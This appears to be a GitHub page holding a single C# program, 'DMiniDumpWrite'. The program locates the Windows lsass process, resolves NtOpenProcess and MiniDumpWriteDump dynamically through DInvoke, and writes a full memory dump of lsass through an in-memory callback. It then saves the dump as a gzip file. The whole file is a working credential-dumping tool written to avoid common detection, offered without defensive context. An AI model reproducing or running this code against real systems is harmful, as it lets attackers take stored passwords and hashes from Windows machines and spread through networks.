-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathProgram.cs
More file actions
300 lines (258 loc) · 10.9 KB
/
Program.cs
File metadata and controls
300 lines (258 loc) · 10.9 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
using System;
using System.Diagnostics;
using System.IO;
using System.IO.Compression;
using System.Runtime.InteropServices;
using DInvoke.DynamicInvoke;
namespace DMiniDumpWrite
{
class Program
{
// --- FIXED BUFFER ---
static byte[] dumpBuffer = new byte[200 * 1024 * 1024]; // 200 MB fixed
static int bufferSize = 0;
// --- CALLBACK STRUCTS ---
public enum MINIDUMP_CALLBACK_TYPE
{
ModuleCallback,
ThreadCallback,
ThreadExCallback,
IncludeThreadCallback,
IncludeModuleCallback,
MemoryCallback,
CancelCallback,
WriteKernelMinidumpCallback,
KernelMinidumpStatusCallback,
RemoveMemoryCallback,
IncludeVmRegionCallback,
IoStartCallback,
IoWriteAllCallback,
IoFinishCallback,
ReadMemoryFailureCallback,
SecondaryFlagsCallback,
IsProcessSnapshotCallback,
VmStartCallback,
VmQueryCallback,
VmPreReadCallback,
VmPostReadCallback
}
[StructLayout(LayoutKind.Sequential, Pack = 1)]
public struct MINIDUMP_IO_CALLBACK
{
public IntPtr Handle;
public ulong Offset;
public IntPtr Buffer;
public int BufferBytes;
}
[StructLayout(LayoutKind.Sequential, Pack = 1)]
public struct MINIDUMP_CALLBACK_INPUT
{
public int ProcessId;
public IntPtr ProcessHandle;
public MINIDUMP_CALLBACK_TYPE CallbackType;
public MINIDUMP_IO_CALLBACK Io;
}
[StructLayout(LayoutKind.Sequential)]
public struct MINIDUMP_CALLBACK_OUTPUT
{
public uint status;
}
public struct MINIDUMP_CALLBACK_INFORMATION
{
public IntPtr CallbackRoutine;
public IntPtr CallbackParam;
}
public delegate bool CallBack(
int CallbackParam,
IntPtr PointerCallbackInput,
IntPtr PointerCallbackOutput
);
// --- IMPORTS ---
//NtOpenProcess
[StructLayout(LayoutKind.Sequential)]
public struct CLIENT_ID
{
public IntPtr UniqueProcess;
public IntPtr UniqueThread;
}
[StructLayout(LayoutKind.Sequential)]
public struct OBJECT_ATTRIBUTES
{
public int Length;
public IntPtr RootDirectory;
public IntPtr ObjectName;
public uint Attributes;
public IntPtr SecurityDescriptor;
public IntPtr SecurityQualityOfService;
}
[StructLayout(LayoutKind.Sequential)]
public struct IO_STATUS_BLOCK
{
public uint Status;
public IntPtr Information;
}
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
private delegate int NtOpenProcessDelegate(
ref IntPtr ProcessHandle,
uint DesiredAccess,
ref OBJECT_ATTRIBUTES ObjectAttributes,
ref CLIENT_ID ClientId);
public const uint PROCESS_QUERY_INFORMATION = 0x0400;
public const uint PROCESS_VM_READ = 0x0010;
//NtOpenProcess end
[UnmanagedFunctionPointer(CallingConvention.StdCall, CharSet = CharSet.Auto, SetLastError = true)]
delegate bool MiniDumpWriteDumpDelegate(
IntPtr hProcess,
uint ProcessId,
IntPtr hFile,
int DumpType,
IntPtr ExceptionParam,
IntPtr UserStreamParam,
IntPtr CallbackParam);
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
private delegate bool NtCloseHandleDelegate(IntPtr hObject);
static CallBack PersistentCallback; // evita GC
static IntPtr mci_pointer = IntPtr.Zero;
static void Main()
{
try
{
string processName = "lsass";
Process[] processes = Process.GetProcessesByName(processName);
if (processes.Length == 0)
{
Console.WriteLine("[-] Process {0} not found.", processName);
return;
}
Process hProcess = processes[0];
Console.WriteLine("[+]Process {0} found with PID: {1}.", processName, hProcess.Id);
int PID = hProcess.Id;
IntPtr ntOpenPro = Generic.GetLibraryAddress("ntdll.dll", "NtOpenProcess", true);
IntPtr dbghelpHandle = Generic.GetLibraryAddress("dbgcore.dll", "MiniDumpWriteDump", true);
IntPtr ntclHandle = Generic.GetLibraryAddress("ntdll.dll", "NtClose", true);
var ntOpenProcess = (NtOpenProcessDelegate)Marshal.GetDelegateForFunctionPointer(ntOpenPro, typeof(NtOpenProcessDelegate));
var miniDumpWriteDump = (MiniDumpWriteDumpDelegate)Marshal.GetDelegateForFunctionPointer(dbghelpHandle, typeof(MiniDumpWriteDumpDelegate));
var closeHandle = (NtCloseHandleDelegate)Marshal.GetDelegateForFunctionPointer(ntclHandle, typeof(NtCloseHandleDelegate));
CLIENT_ID clientId = new CLIENT_ID
{
UniqueProcess = (IntPtr)PID,
UniqueThread = IntPtr.Zero
};
OBJECT_ATTRIBUTES objectAttributesProcess = new OBJECT_ATTRIBUTES
{
Length = Marshal.SizeOf(typeof(OBJECT_ATTRIBUTES)),
RootDirectory = IntPtr.Zero,
ObjectName = IntPtr.Zero,
Attributes = 0,
SecurityDescriptor = IntPtr.Zero,
SecurityQualityOfService = IntPtr.Zero
};
IntPtr processHandle = IntPtr.Zero;
int statusProcess = ntOpenProcess(
ref processHandle,
PROCESS_QUERY_INFORMATION | PROCESS_VM_READ,
ref objectAttributesProcess,
ref clientId
);
if (statusProcess != 0 || processHandle == IntPtr.Zero)
{
Console.WriteLine("[-]Failing getting NtOpenProcess process handle.");
return;
}
// --- Callback ---
PersistentCallback = new CallBack(CallBackFunction);
MINIDUMP_CALLBACK_INFORMATION mci;
mci.CallbackRoutine = Marshal.GetFunctionPointerForDelegate(PersistentCallback);
mci.CallbackParam = IntPtr.Zero;
mci_pointer = Marshal.AllocHGlobal(Marshal.SizeOf(mci));
Marshal.StructureToPtr(mci, mci_pointer, true);
// --- calling MiniDumpWriteDump ---
//dumpType = 2 MiniDumpWithFullMemory
bool result = miniDumpWriteDump(
processHandle,
(uint)PID,
IntPtr.Zero,
2,
IntPtr.Zero,
IntPtr.Zero,
mci_pointer
);
if (result)
{
Console.WriteLine("[+] Memory dumped, size: " + bufferSize);
// --- Compress buffer ---
using (MemoryStream ms = new MemoryStream())
{
ms.Write(dumpBuffer, 0, bufferSize);
ms.Position = 0;
using (FileStream compressedFile = new FileStream("dump.dmp.gz", FileMode.Create))
using (GZipStream gzip = new GZipStream(compressedFile, CompressionMode.Compress))
{
ms.CopyTo(gzip);
}
}
Console.WriteLine("[+] Compressed dump.dmp.gz created.");
}
else
{
Console.WriteLine("[-] Error dumping memory. GetLastError: " + Marshal.GetLastWin32Error());
}
}
catch (Exception ex)
{
Console.WriteLine("[-] Exception during dump: " + ex);
}
finally
{
// --- clean and free memory ---
if (mci_pointer != IntPtr.Zero)
{
Marshal.FreeHGlobal(mci_pointer);
mci_pointer = IntPtr.Zero;
}
Array.Clear(dumpBuffer, 0, bufferSize);
bufferSize = 0;
GC.KeepAlive(PersistentCallback);
}
}
static bool CallBackFunction(int CallbackParam, IntPtr PointerCallbackInput, IntPtr PointerCallbackOutput)
{
try
{
var callbackInput = Marshal.PtrToStructure<MINIDUMP_CALLBACK_INPUT>(PointerCallbackInput);
var callbackOutput = new MINIDUMP_CALLBACK_OUTPUT();
switch (callbackInput.CallbackType)
{
case MINIDUMP_CALLBACK_TYPE.IoStartCallback:
callbackOutput.status = 0x1;
Console.WriteLine("[+] Start Dumping");
//Console.WriteLine("[CB] IoStartCallback invoked");
break;
case MINIDUMP_CALLBACK_TYPE.IoWriteAllCallback:
if (callbackInput.Io.Buffer != IntPtr.Zero && callbackInput.Io.BufferBytes > 0)
{
// fixed buffer, only cast int is secure
int requiredSize = (int)(callbackInput.Io.Offset + (ulong)callbackInput.Io.BufferBytes);
Marshal.Copy(callbackInput.Io.Buffer, dumpBuffer, (int)callbackInput.Io.Offset, callbackInput.Io.BufferBytes);
bufferSize = Math.Max(bufferSize, requiredSize);
//Console.WriteLine($"[CB] IoWriteAllCallback: Offset={callbackInput.Io.Offset}, Bytes={callbackInput.Io.BufferBytes}");
}
callbackOutput.status = 0;
break;
case MINIDUMP_CALLBACK_TYPE.IoFinishCallback:
callbackOutput.status = 0;
Console.WriteLine("[+] Finish Dumping");
//Console.WriteLine("[CB] IoFinishCallback invoked");
break;
}
Marshal.StructureToPtr(callbackOutput, PointerCallbackOutput, true);
return true;
}
catch (Exception ex)
{
Console.WriteLine("[-] Exception in callback: " + ex);
return false;
}
}
}
}